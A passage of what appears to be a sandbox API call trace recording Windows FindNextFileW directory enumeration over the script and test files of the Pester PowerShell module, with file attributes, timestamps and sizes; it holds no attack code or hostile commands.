out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0193.851] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0193.852] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0193.853] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0193.853] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0193.853] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0193.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0193.854] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0193.855] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, 